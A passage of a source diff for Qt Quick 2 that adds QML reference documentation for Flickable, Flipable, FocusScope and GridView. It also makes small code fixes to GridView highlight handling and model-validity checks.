+ The size is defined as the percentage of the full view currently visible,
+ scaled to 0.0 - 1.0. The page position is usually in the range 0.0 (beginning) to
+ 1.0 minus size ratio (end), i.e. \c yPosition is in the range 0.0 to 1.0-\c heightRatio.
+ However, it is possible for the contents to be dragged outside of the normal
+ range, resulting in the page positions also being outside the normal range.
+
+ These properties are typically used to draw a scrollbar. For example:
+
+ \snippet doc/src/snippets/declarative/flickableScrollbar.qml 0
+ \dots 8
+ \snippet doc/src/snippets/declarative/flickableScrollbar.qml 1
+
+ \sa {declarative/ui-components/scrollbar}{scrollbar example}
+*/
QSGFlickable::QSGFlickable(QSGItem *parent)
: QSGItem(*(new QSGFlickablePrivate), parent)
{
@@ -474,6 +575,14 @@ QSGFlickable::~QSGFlickable()
{
}
+/*!
+ \qmlproperty real QtQuick2::Flickable::contentX
+ \qmlproperty real QtQuick2::Flickable::contentY
+
+ These properties hold the surface coordinate currently at the top-left
+ corner of the Flickable. For example, if you flick an image up 100 pixels,
+ \c contentY will be 100.
+*/
qreal QSGFlickable::contentX() const
{
Q_D(const QSGFlickable);
@@ -510,6 +619,19 @@ void QSGFlickable::setContentY(qreal pos)
}
}
+/*!
+ \qmlproperty bool QtQuick2::Flickable::interactive
+
+ This property describes whether the user can interact with the Flickable.
+ A user cannot drag or flick a Flickable that is not interactive.
+
+ By default, this property is true.
+
+ This property is useful for temporarily disabling flicking. This allows
+ special interaction with Flickable's children; for example, you might want
+ to freeze a flickable map while scrolling through a pop-up dialog that
+ is a child of the Flickable.
+*/
bool QSGFlickable::isInteractive() const
{
Q_D(const QSGFlickable);
@@ -535,6 +657,14 @@ void QSGFlickable::setInteractive(bool interactive)
}
}
+/*!
+ \qmlproperty real QtQuick2::Flickable::horizontalVelocity
+ \qmlproperty real QtQuick2::Flickable::verticalVelocity
+
+ The instantaneous velocity of movement along the x and y axes, in pixels/sec.
+
+ The reported velocity is smoothed to avoid erratic output.
+*/
qreal QSGFlickable::horizontalVelocity() const
{
Q_D(const QSGFlickable);
@@ -547,6 +677,15 @@ qreal QSGFlickable::verticalVelocity() const
return d->vData.smoothVelocity.value();
}
+/*!
+ \qmlproperty bool QtQuick2::Flickable::atXBeginning
+ \qmlproperty bool QtQuick2::Flickable::atXEnd
+ \qmlproperty bool QtQuick2::Flickable::atYBeginning
+ \qmlproperty bool QtQuick2::Flickable::atYEnd
+
+ These properties are true if the flickable view is positioned at the beginning,
+ or end respecively.
+*/
bool QSGFlickable::isAtXEnd() const
{
Q_D(const QSGFlickable);
@@ -576,6 +715,24 @@ void QSGFlickable::ticked()
viewportMoved();
}
+/*!
+ \qmlproperty Item QtQuick2::Flickable::contentItem
+
+ The internal item that contains the Items to be moved in the Flickable.
+
+ Items declared as children of a Flickable are automatically parented to the Flickable's contentItem.
+
+ Items created dynamically need to be explicitly parented to the \e contentItem:
+ \code
+ Flickable {
+ id: myFlickable
+ function addItem(file) {
+ var component = Qt.createComponent(file)
+ component.createObject(myFlickable.contentItem);
+ }
+ }
+ \endcode
+*/
QSGItem *QSGFlickable::contentItem()
{
Q_D(QSGFlickable);
@@ -590,6 +747,21 @@ QSGFlickableVisibleArea *QSGFlickable::visibleArea()
return d->visibleArea;
}
+/*!
+ \qmlproperty enumeration QtQuick2::Flickable::flickableDirection
+
+ This property determines which directions the view can be flicked.
+
+ \list
+ \o Flickable.AutoFlickDirection (default) - allows flicking vertically if the
+ \e contentHeight is not equal to the \e height of the Flickable.
+ Allows flicking horizontally if the \e contentWidth is not equal
+ to the \e width of the Flickable.
+ \o Flickable.HorizontalFlick - allows flicking horizontally.
+ \o Flickable.VerticalFlick - allows flicking vertically.
+ \o Flickable.HorizontalAndVerticalFlick - allows flicking in both directions.
+ \endlist
+*/
QSGFlickable::FlickableDirection QSGFlickable::flickableDirection() const
{
Q_D(const QSGFlickable);
@@ -1118,6 +1290,27 @@ QDeclarativeListProperty<QSGItem> QSGFlickable::flickableChildren()
return QSGItemPrivate::get(d->contentItem)->children();
}
+/*!
+ \qmlproperty enumeration QtQuick2::Flickable::boundsBehavior
+ This property holds whether the surface may be dragged
+ beyond the Fickable's boundaries, or overshoot the
+ Flickable's boundaries when flicked.
+
+ This enables the feeling that the edges of the view are soft,
+ rather than a hard physical boundary.
+
+ The \c boundsBehavior can be one of:
+
+ \list
+ \o Flickable.StopAtBounds - the contents can not be dragged beyond the boundary
+ of the flickable, and flicks will not overshoot.
+ \o Flickable.DragOverBounds - the contents can be dragged beyond the boundary
+ of the Flickable, but flicks will not overshoot.
+ \o Flickable.DragAndOvershootBounds (default) - the contents can be dragged
+ beyond the boundary of the Flickable, and can overshoot the
+ boundary when flicked.
+ \endlist
+*/
QSGFlickable::BoundsBehavior QSGFlickable::boundsBehavior() const
{
Q_D(const QSGFlickable);
@@ -1133,6 +1326,23 @@ void QSGFlickable::setBoundsBehavior(BoundsBehavior b)
emit boundsBehaviorChanged();
}
+/*!
+ \qmlproperty real QtQuick2::Flickable::contentWidth
+ \qmlproperty real QtQuick2::Flickable::contentHeight
+
+ The dimensions of the content (the surface controlled by Flickable).
+ This should typically be set to the combined size of the items placed in the
+ Flickable.
+
+ The following snippet shows how these properties are used to display
+ an image that is larger than the Flickable item itself:
+
+ \snippet doc/src/snippets/declarative/flickable.qml document
+
+ In some cases, the the content dimensions can be automatically set
+ using the \l {Item::childrenRect.width}{childrenRect.width}
+ and \l {Item::childrenRect.height}{childrenRect.height} properties.
+*/
qreal QSGFlickable::contentWidth() const
{
Q_D(const QSGFlickable);
@@ -1189,6 +1399,19 @@ void QSGFlickable::setContentHeight(qreal h)
d->updateBeginningEnd();
}
+/*!
+ \qmlmethod QtQuick2::Flickable::resizeContent(real width, real height, QPointF center)
+ \preliminary
+
+ Resizes the content to \a width x \a height about \a center.
+
+ This does not scale the contents of the Flickable - it only resizes the \l contentWidth
+ and \l contentHeight.
+
+ Resizing the content may result in the content being positioned outside
+ the bounds of the Flickable. Calling \l returnToBounds() will
+ move the content back within legal bounds.
+*/
void QSGFlickable::resizeContent(qreal w, qreal h, QPointF center)
{
Q_D(QSGFlickable);
@@ -1215,6 +1438,15 @@ void QSGFlickable::resizeContent(qreal w, qreal h, QPointF center)
d->updateBeginningEnd();
}
+/*!
+ \qmlmethod QtQuick2::Flickable::returnToBounds()
+ \preliminary
+
+ Ensures the content is within legal bounds.
+
+ This may be called to ensure that the content is within legal bounds
+ after manually positioning the content.
+*/
void QSGFlickable::returnToBounds()
{
Q_D(QSGFlickable);
@@ -1332,6 +1564,9 @@ bool QSGFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
}
return stealThisEvent || d->delayedPressEvent || disabledItem;
+ } else if (d->lastPosTime.isValid()) {
+ d->lastPosTime.invalidate();
+ returnToBounds();
}
if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) {
d->lastPosTime.invalidate();
@@ -1360,6 +1595,12 @@ bool QSGFlickable::childMouseEventFilter(QSGItem *i, QEvent *e)
return QSGItem::childMouseEventFilter(i, e);
}
+/*!
+ \qmlproperty real QtQuick2::Flickable::maximumFlickVelocity
+ This property holds the maximum velocity that the user can flick the view in pixels/second.
+
+ The default value is platform dependent.
+*/
qreal QSGFlickable::maximumFlickVelocity() const
{
Q_D(const QSGFlickable);
@@ -1375,6 +1616,12 @@ void QSGFlickable::setMaximumFlickVelocity(qreal v)
emit maximumFlickVelocityChanged();
}
+/*!
+ \qmlproperty real QtQuick2::Flickable::flickDeceleration
+ This property holds the rate at which a flick will decelerate.
+
+ The default value is platform dependent.
+*/
qreal QSGFlickable::flickDeceleration() const
{
Q_D(const QSGFlickable);
@@ -1396,6 +1643,14 @@ bool QSGFlickable::isFlicking() const
return d->flickingHorizontally || d->flickingVertically;
}
+/*!
+ \qmlproperty bool QtQuick2::Flickable::flicking
+ \qmlproperty bool QtQuick2::Flickable::flickingHorizontally
+ \qmlproperty bool QtQuick2::Flickable::flickingVertically
+
+ These properties describe whether the view is currently moving horizontally,
+ vertically or in either direction, due to the user flicking the view.
+*/
bool QSGFlickable::isFlickingHorizontally() const
{
Q_D(const QSGFlickable);
@@ -1470,6 +1725,20 @@ void QSGFlickablePrivate::draggingEnding()
}
}
+/*!
+ \qmlproperty int QtQuick2::Flickable::pressDelay
+
+ This property holds the time to delay (ms) delivering a press to
+ children of the Flickable. This can be useful where reacting
+ to a press before a flicking action has undesirable effects.
+
+ If the flickable is dragged/flicked before the delay times out
+ the press event will not be delivered. If the button is released
+ within the timeout, both the press and release will be delivered.
+
+ Note that for nested Flickables with pressDelay set, the pressDelay of
+ inner Flickables is overridden by the outermost Flickable.
+*/
int QSGFlickable::pressDelay() const
{
Q_D(const QSGFlickable);
@@ -1485,6 +1754,15 @@ void QSGFlickable::setPressDelay(int delay)
emit pressDelayChanged();
}
+/*!
+ \qmlproperty bool QtQuick2::Flickable::moving
+ \qmlproperty bool QtQuick2::Flickable::movingHorizontally
+ \qmlproperty bool QtQuick2::Flickable::movingVertically
+
+ These properties describe whether the view is currently moving horizontally,
+ vertically or in either direction, due to the user either dragging or
+ flicking the view.
+*/
bool QSGFlickable::isMoving() const
{
diff --git a/src/declarative/items/qsgflipable.cpp b/src/declarative/items/qsgflipable.cpp
index faceb29f73..ac68b3171c 100644
--- a/src/declarative/items/qsgflipable.cpp
+++ b/src/declarative/items/qsgflipable.cpp
@@ -87,6 +87,47 @@ public:
bool wantBackYFlipped;
};
+/*!
+ \qmlclass Flipable QSGFlipable
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-interaction-elements
+ \brief The Flipable item provides a surface that can be flipped.
+ \inherits Item
+
+ Flipable is an item that can be visibly "flipped" between its front and
+ back sides, like a card. It is used together with \l Rotation, \l State
+ and \l Transition elements to produce a flipping effect.
+
+ The \l front and \l back properties are used to hold the items that are
+ shown respectively on the front and back sides of the flipable item.
+
+ \section1 Example Usage
+
+ The following example shows a Flipable item that flips whenever it is
+ clicked, rotating about the y-axis.
+
+ This flipable item has a \c flipped boolean property that is toggled
+ whenever the MouseArea within the flipable is clicked. When
+ \c flipped is true, the item changes to the "back" state; in this
+ state, the \c angle of the \l Rotation item is changed to 180
+ degrees to produce the flipping effect. When \c flipped is false, the
+ item reverts to the default state, in which the \c angle value is 0.
+
+ \snippet doc/src/snippets/declarative/flipable/flipable.qml 0
+
+ \image flipable.gif
+
+ The \l Transition creates the animation that changes the angle over
+ four seconds. When the item changes between its "back" and
+ default states, the NumberAnimation animates the angle between
+ its old and new values.
+
+ See \l {QML States} for details on state changes and the default
+ state, and \l {QML Animation and Transitions} for more information on how
+ animations work within transitions.
+
+ \sa {declarative/ui-components/flipable}{Flipable example}
+*/
QSGFlipable::QSGFlipable(QSGItem *parent)
: QSGItem(*(new QSGFlipablePrivate), parent)
{
@@ -96,6 +137,13 @@ QSGFlipable::~QSGFlipable()
{
}
+/*!
+ \qmlproperty Item QtQuick2::Flipable::front
+ \qmlproperty Item QtQuick2::Flipable::back
+
+ The front and back sides of the flipable.
+*/
+
QSGItem *QSGFlipable::front()
{
Q_D(const QSGFlipable);
@@ -153,6 +201,12 @@ void QSGFlipable::retransformBack()
d->setBackTransform();
}
+/*!
+ \qmlproperty enumeration QtQuick2::Flipable::side
+
+ The side of the Flipable currently visible. Possible values are \c
+ Flipable.Front and \c Flipable.Back.
+*/
QSGFlipable::Side QSGFlipable::side() const
{
Q_D(const QSGFlipable);
diff --git a/src/declarative/items/qsgfocusscope.cpp b/src/declarative/items/qsgfocusscope.cpp
index 156869120d..2018d5ce7d 100644
--- a/src/declarative/items/qsgfocusscope.cpp
+++ b/src/declarative/items/qsgfocusscope.cpp
@@ -43,7 +43,21 @@
QT_BEGIN_NAMESPACE
-QSGFocusScope::QSGFocusScope(QSGItem *parent)
+/*!
+ \qmlclass FocusScope QSGFocusScope
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-interaction-elements
+
+ \brief The FocusScope object explicitly creates a focus scope.
+ \inherits Item
+
+ Focus scopes assist in keyboard focus handling when building reusable QML
+ components. All the details are covered in the
+ \l {qmlfocus}{keyboard focus documentation}.
+
+ \sa {declarative/keyinteraction/focus}{Keyboard focus example}
+*/
+QSGFocusScope::QSGFocusScope(QSGItem *parent)
: QSGItem(parent)
{
setFlag(ItemIsFocusScope);
diff --git a/src/declarative/items/qsggridview.cpp b/src/declarative/items/qsggridview.cpp
index 26347c1c93..bc4954a168 100644
--- a/src/declarative/items/qsggridview.cpp
+++ b/src/declarative/items/qsggridview.cpp
@@ -176,6 +176,8 @@ public:
virtual qreal headerSize() const;
virtual qreal footerSize() const;
+ virtual bool showHeaderForIndex(int index) const;
+ virtual bool showFooterForIndex(int index) const;
virtual void updateHeader();
virtual void updateFooter();
@@ -602,7 +604,8 @@ void QSGGridViewPrivate::updateHighlight()
{
if ((!currentItem && highlight) || (currentItem && !highlight))
createHighlight();
- if (currentItem && autoHighlight && highlight && !movingHorizontally && !movingVertically) {
+ bool strictHighlight = haveHighlightRange && highlightRange == QSGGridView::StrictlyEnforceRange;
+ if (currentItem && autoHighlight && highlight && (!strictHighlight || !pressed)) {
// auto-update highlight
highlightXAnimator->to = currentItem->item->x();
highlightYAnimator->to = currentItem->item->y();
@@ -637,6 +640,16 @@ qreal QSGGridViewPrivate::footerSize() const
return flow == QSGGridView::LeftToRight? footer->item->height() : footer->item->width();
}
+bool QSGGridViewPrivate::showHeaderForIndex(int index) const
+{
+ return index / columns == 0;
+}
+
+bool QSGGridViewPrivate::showFooterForIndex(int index) const
+{
+ return index / columns == (model->count()-1) / columns;
+}
+
void QSGGridViewPrivate::updateFooter()
{
Q_Q(QSGGridView);
@@ -955,6 +968,80 @@ void QSGGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent,
//----------------------------------------------------------------------------
+/*!
+ \qmlclass GridView QSGGridView
+ \inqmlmodule QtQuick 2
+ \ingroup qml-view-elements
+
+ \inherits Flickable
+ \brief The GridView item provides a grid view of items provided by a model.
+
+ A GridView displays data from models created from built-in QML elements like ListModel
+ and XmlListModel, or custom model classes defined in C++ that inherit from
+ QAbstractListModel.
+
+ A GridView has a \l model, which defines the data to be displayed, and
+ a \l delegate, which defines how the data should be displayed. Items in a
+ GridView are laid out horizontally or vertically. Grid views are inherently flickable
+ as GridView inherits from \l Flickable.
+
+ \section1 Example Usage
+
+ The following example shows the definition of a simple list model defined
+ in a file called \c ContactModel.qml:
+
+ \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0
+
+ \div {class="float-right"}
+ \inlineimage gridview-simple.png
+ \enddiv
+
+ This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules}
+ for more information about creating reusable components like this.
+
+ Another component can display this model data in a GridView, as in the following
+ example, which creates a \c ContactModel component for its model, and a \l Column element
+ (containing \l Image and \l Text elements) for its delegate.
+
+ \clearfloat
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple
+
+ \div {class="float-right"}
+ \inlineimage gridview-highlight.png
+ \enddiv
+
+ The view will create a new delegate for each item in the model. Note that the delegate
+ is able to access the model's \c name and \c portrait data directly.
+
+ An improved grid view is shown below. The delegate is visually improved and is moved
+ into a separate \c contactDelegate component.
+
+ \clearfloat
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs advanced
+
+ The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property,
+ and \c focus is set to \c true to enable keyboard navigation for the grid view.
+ The grid view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
+
+ Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+
+ GridView attaches a number of properties to the root item of the delegate, for example
+ \c {GridView.isCurrentItem}. In the following example, the root delegate item can access
+ this attached property directly as \c GridView.isCurrentItem, while the child
+ \c contactInfo object must refer to this property as \c wrapper.GridView.isCurrentItem.
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml isCurrentItem
+
+ \note Views do not set the \l{Item::}{clip} property automatically.
+ If the view is not clipped by another item or the screen, it will be necessary
+ to set this property to true in order to clip the items that are partially or
+ fully outside the view.
+
+ \sa {declarative/modelviews/gridview}{GridView example}
+*/
QSGGridView::QSGGridView(QSGItem *parent)
: QSGItemView(*(new QSGGridViewPrivate), parent)
@@ -977,6 +1064,242 @@ void QSGGridView::setHighlightFollowsCurrentItem(bool autoHighlight)
}
}
+/*!
+ \qmlattachedproperty bool QtQuick2::GridView::isCurrentItem
+ This attached property is true if this delegate is the current item; otherwise false.
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty GridView QtQuick2::GridView::view
+ This attached property holds the view that manages this delegate instance.
+
+ It is attached to each instance of the delegate.
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml isCurrentItem
+*/
+
+/*!
+ \qmlattachedproperty bool QtQuick2::GridView::delayRemove
+ This attached property holds whether the delegate may be destroyed.
+
+ It is attached to each instance of the delegate.
+
+ It is sometimes necessary to delay the destruction of an item
+ until an animation completes.
+
+ The example below ensures that the animation completes before
+ the item is removed from the grid.
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml delayRemove
+*/
+
+/*!
+ \qmlattachedsignal QtQuick2::GridView::onAdd()
+ This attached handler is called immediately after an item is added to the view.
+*/
+
+/*!
+ \qmlattachedsignal QtQuick2::GridView::onRemove()
+ This attached handler is called immediately before an item is removed from the view.
+*/
+
+
+/*!
+ \qmlproperty model QtQuick2::GridView::model
+ This property holds the model providing data for the grid.
+
+ The model provides the set of data that is used to create the items
+ in the view. Models can be created directly in QML using \l ListModel, \l XmlListModel
+ or \l VisualItemModel, or provided by C++ model classes. If a C++ model class is
+ used, it must be a subclass of \l QAbstractItemModel or a simple list.
+
+ \sa {qmlmodels}{Data Models}
+*/
+
+/*!
+ \qmlproperty Component QtQuick2::GridView::delegate
+
+ The delegate provides a template defining each item instantiated by the view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+ The number of elements in the delegate has a direct effect on the
+ flicking performance of the view. If at all possible, place functionality
+ that is not needed for the normal display of the delegate in a \l Loader which
+ can load additional elements when needed.
+
+ The GridView will layout the items based on the size of the root item
+ in the delegate.
+
+ \note Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::GridView::currentIndex
+ \qmlproperty Item QtQuick2::GridView::currentItem
+
+ The \c currentIndex property holds the index of the current item, and
+ \c currentItem holds the current item. Setting the currentIndex to -1
+ will clear the highlight and set currentItem to null.
+
+ If highlightFollowsCurrentItem is \c true, setting either of these
+ properties will smoothly scroll the GridView so that the current
+ item becomes visible.
+
+ Note that the position of the current item
+ may only be approximate until it becomes visible in the view.
+*/
+
+
+/*!
+ \qmlproperty Item QtQuick2::GridView::highlightItem
+
+ This holds the highlight item created from the \l highlight component.
+
+ The highlightItem is managed by the view unless
+ \l highlightFollowsCurrentItem is set to false.
+
+ \sa highlight, highlightFollowsCurrentItem
+*/
+
+
+/*!
+ \qmlproperty int QtQuick2::GridView::count
+ This property holds the number of items in the view.
+*/
+
+
+/*!
+ \qmlproperty Component QtQuick2::GridView::highlight
+ This property holds the component to use as the highlight.
+
+ An instance of the highlight component is created for each view.
+ The geometry of the resulting component instance will be managed by the view
+ so as to stay with the current item, unless the highlightFollowsCurrentItem property is false.
+
+ \sa highlightItem, highlightFollowsCurrentItem
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::GridView::highlightFollowsCurrentItem
+ This property sets whether the highlight is managed by the view.
+
+ If this property is true (the default value), the highlight is moved smoothly
+ to follow the current item. Otherwise, the
+ highlight is not moved by the view, and any movement must be implemented
+ by the highlight.
+
+ Here is a highlight with its motion defined by a \l {SpringAnimation} item:
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml highlightFollowsCurrentItem
+*/
+
+
+/*!
+ \qmlproperty int QtQuick2::GridView::highlightMoveDuration
+ This property holds the move animation duration of the highlight delegate.
+
+ highlightFollowsCurrentItem must be true for this property
+ to have effect.
+
+ The default value for the duration is 150ms.
+
+ \sa highlightFollowsCurrentItem
+*/
+
+/*!
+ \qmlproperty real QtQuick2::GridView::preferredHighlightBegin
+ \qmlproperty real QtQuick2::GridView::preferredHighlightEnd
+ \qmlproperty enumeration QtQuick2::GridView::highlightRangeMode
+
+ These properties define the preferred range of the highlight (for the current item)
+ within the view. The \c preferredHighlightBegin value must be less than the
+ \c preferredHighlightEnd value.
+
+ These properties affect the position of the current item when the view is scrolled.
+ For example, if the currently selected item should stay in the middle of the
+ view when it is scrolled, set the \c preferredHighlightBegin and
+ \c preferredHighlightEnd values to the top and bottom coordinates of where the middle
+ item would be. If the \c currentItem is changed programmatically, the view will
+ automatically scroll so that the current item is in the middle of the view.
+ Furthermore, the behavior of the current item index will occur whether or not a
+ highlight exists.
+
+ Valid values for \c highlightRangeMode are:
+
+ \list
+ \o GridView.ApplyRange - the view attempts to maintain the highlight within the range.
+ However, the highlight can move outside of the range at the ends of the view or due
+ to mouse interaction.
+ \o GridView.StrictlyEnforceRange - the highlight never moves outside of the range.
+ The current item changes if a keyboard or mouse action would cause the highlight to move
+ outside of the range.
+ \o GridView.NoHighlightRange - this is the default value.
+ \endlist
+*/
+
+
+/*!
+ \qmlproperty enumeration QtQuick2::GridView::layoutDirection
+ This property holds the layout direction of the grid.
+
+ Possible values:
+
+ \list
+ \o Qt.LeftToRight (default) - Items will be laid out starting in the top, left corner. The flow is
+ dependent on the \l GridView::flow property.
+ \o Qt.RightToLeft - Items will be laid out starting in the top, right corner. The flow is dependent
+ on the \l GridView::flow property.
+ \endlist
+
+ \bold Note: If GridView::flow is set to GridView.LeftToRight, this is not to be confused if
+ GridView::layoutDirection is set to Qt.RightToLeft. The GridView.LeftToRight flow value simply
+ indicates that the flow is horizontal.
+*/
+
+
+/*!
+ \qmlproperty enumeration QtQuick2::GridView::effectiveLayoutDirection
+ This property holds the effective layout direction of the grid.
+
+ When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the grid will be mirrored. However, the
+ property \l {GridView::layoutDirection}{layoutDirection} will remain unchanged.
+
+ \sa GridView::layoutDirection, {LayoutMirroring}{LayoutMirroring}
+*/
+/*!
+ \qmlproperty bool QtQuick2::GridView::keyNavigationWraps
+ This property holds whether the grid wraps key navigation
+
+ If this is true, key navigation that would move the current item selection
+ past one end of the view instead wraps around and moves the selection to
+ the other end of the view.
+
+ By default, key navigation is not wrapped.
+*/
+/*!
+ \qmlproperty int QtQuick2::GridView::cacheBuffer
+ This property determines whether delegates are retained outside the
+ visible area of the view.
+
+ If non-zero the view will keep as many delegates
+ instantiated as will fit within the buffer specified. For example,
+ if in a vertical view the delegate is 20 pixels high and \c cacheBuffer is
+ set to 40, then up to 2 delegates above and 2 delegates below the visible
+ area may be retained.
+
+ Note that cacheBuffer is not a pixel buffer - it only maintains additional
+ instantiated delegates.
+
+ Setting this value can make scrolling the list smoother at the expense
+ of additional memory usage. It is not a substitute for creating efficient
+ delegates; the fewer elements in a delegate, the faster a view may be
+ scrolled.
+*/
void QSGGridView::setHighlightMoveDuration(int duration)
{
Q_D(QSGGridView);
@@ -989,6 +1312,17 @@ void QSGGridView::setHighlightMoveDuration(int duration)
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::GridView::flow
+ This property holds the flow of the grid.
+
+ Possible values:
+
+ \list
+ \o GridView.LeftToRight (default) - Items are laid out from left to right, and the view scrolls vertically
+ \o GridView.TopToBottom - Items are laid out from top to bottom, and the view scrolls horizontally
+ \endlist
+*/
QSGGridView::Flow QSGGridView::flow() const
{
Q_D(const QSGGridView);
@@ -1015,6 +1349,14 @@ void QSGGridView::setFlow(Flow flow)
}
+/*!
+ \qmlproperty int QtQuick2::GridView::cellWidth
+ \qmlproperty int QtQuick2::GridView::cellHeight
+
+ These properties holds the width and height of each cell in the grid.
+
+ The default cell size is 100x100.
+*/
int QSGGridView::cellWidth() const
{
Q_D(const QSGGridView);
@@ -1048,7 +1390,22 @@ void QSGGridView::setCellHeight(int cellHeight)
d->layout();
}
}
-
+/*!
+ \qmlproperty enumeration QtQuick2::GridView::snapMode
+
+ This property determines how the view scrolling will settle following a drag or flick.
+ The possible values are:
+
+ \list
+ \o GridView.NoSnap (default) - the view stops anywhere within the visible area.
+ \o GridView.SnapToRow - the view settles with a row (or column for \c GridView.TopToBottom flow)
+ aligned with the start of the view.
+ \o GridView.SnapOneRow - the view will settle no more than one row (or column for \c GridView.TopToBottom flow)
+ away from the first visible row at the time the mouse button is released.
+ This mode is particularly useful for moving one page at a time.
+ \endlist
+
+*/
QSGGridView::SnapMode QSGGridView::snapMode() const
{
Q_D(const QSGGridView);
@@ -1065,6 +1422,24 @@ void QSGGridView::setSnapMode(SnapMode mode)
}
+/*!
+ \qmlproperty Component QtQuick2::GridView::footer
+ This property holds the component to use as the footer.
+
+ An instance of the footer component is created for each view. The
+ footer is positioned at the end of the view, after any items.
+
+ \sa header
+*/
+/*!
+ \qmlproperty Component QtQuick2::GridView::header
+ This property holds the component to use as the header.
+
+ An instance of the header component is created for each view. The
+ header is positioned at the beginning of the view, before any items.
+
+ \sa footer
+*/
void QSGGridView::viewportMoved()
{
Q_D(QSGGridView);
@@ -1115,7 +1490,13 @@ void QSGGridView::viewportMoved()
if (pos < viewPos + highlightStart)
pos = viewPos + highlightStart;
- static_cast<FxGridItemSG*>(d->highlight)->setPosition(static_cast<FxGridItemSG*>(d->highlight)->colPos(), qRound(pos));
+ if (pos != d->highlight->position()) {
+ d->highlightXAnimator->stop();
+ d->highlightYAnimator->stop();
+ static_cast<FxGridItemSG*>(d->highlight)->setPosition(static_cast<FxGridItemSG*>(d->highlight)->colPos(), pos);
+ } else {
+ d->updateHighlight();
+ }
// update current index
int idx = d->snapIndex();
@@ -1164,6 +1545,16 @@ void QSGGridView::keyPressEvent(QKeyEvent *event)
event->ignore();
QSGItemView::keyPressEvent(event);
}
+/*!
+ \qmlmethod QtQuick2::GridView::moveCurrentIndexUp()
+
+ Move the currentIndex up one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+
void QSGGridView::moveCurrentIndexUp()
{
@@ -1184,6 +1575,15 @@ void QSGGridView::moveCurrentIndexUp()
}
}
+/*!
+ \qmlmethod QtQuick2::GridView::moveCurrentIndexDown()
+
+ Move the currentIndex down one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
void QSGGridView::moveCurrentIndexDown()
{
Q_D(QSGGridView);
@@ -1203,6 +1603,15 @@ void QSGGridView::moveCurrentIndexDown()
}
}
+/*!
+ \qmlmethod QtQuick2::GridView::moveCurrentIndexLeft()
+
+ Move the currentIndex left one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
void QSGGridView::moveCurrentIndexLeft()
{
Q_D(QSGGridView);
@@ -1236,6 +1645,16 @@ void QSGGridView::moveCurrentIndexLeft()
}
}
+
+/*!
+ \qmlmethod QtQuick2::GridView::moveCurrentIndexRight()
+
+ Move the currentIndex right one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
void QSGGridView::moveCurrentIndexRight()
{
Q_D(QSGGridView);
@@ -1273,7 +1692,7 @@ void QSGGridView::moveCurrentIndexRight()
void QSGGridView::itemsInserted(int modelIndex, int count)
{
Q_D(QSGGridView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
@@ -1404,7 +1823,7 @@ void QSGGridView::itemsInserted(int modelIndex, int count)
void QSGGridView::itemsRemoved(int modelIndex, int count)
{
Q_D(QSGGridView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
d->itemCount -= count;
@@ -1486,7 +1905,7 @@ void QSGGridView::itemsRemoved(int modelIndex, int count)
void QSGGridView::itemsMoved(int from, int to, int count)
{
Q_D(QSGGridView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->isValid())
return;
d->updateUnrequestedIndexes();
@@ -1614,7 +2033,71 @@ void QSGGridView::itemsMoved(int from, int to, int count)
d->layout();
}
+/*!
+ \qmlmethod QtQuick2::GridView::positionViewAtIndex(int index, PositionMode mode)
+
+ Positions the view such that the \a index is at the position specified by
+ \a mode:
+
+ \list
+ \o GridView.Beginning - position item at the top (or left for \c GridView.TopToBottom flow) of the view.
+ \o GridView.Center - position item in the center of the view.
+ \o GridView.End - position item at bottom (or right for horizontal orientation) of the view.
+ \o GridView.Visible - if any part of the item is visible then take no action, otherwise
+ bring the item into view.
+ \o GridView.Contain - ensure the entire item is visible. If the item is larger than
+ the view the item is positioned at the top (or left for \c GridView.TopToBottom flow) of the view.
+ \endlist
+
+ If positioning the view at the index would cause empty space to be displayed at
+ the beginning or end of the view, the view will be positioned at the boundary.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the view does not cause all other items to be repositioned.
+ The correct way to bring an item into view is with \c positionViewAtIndex.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end:
+
+ \code
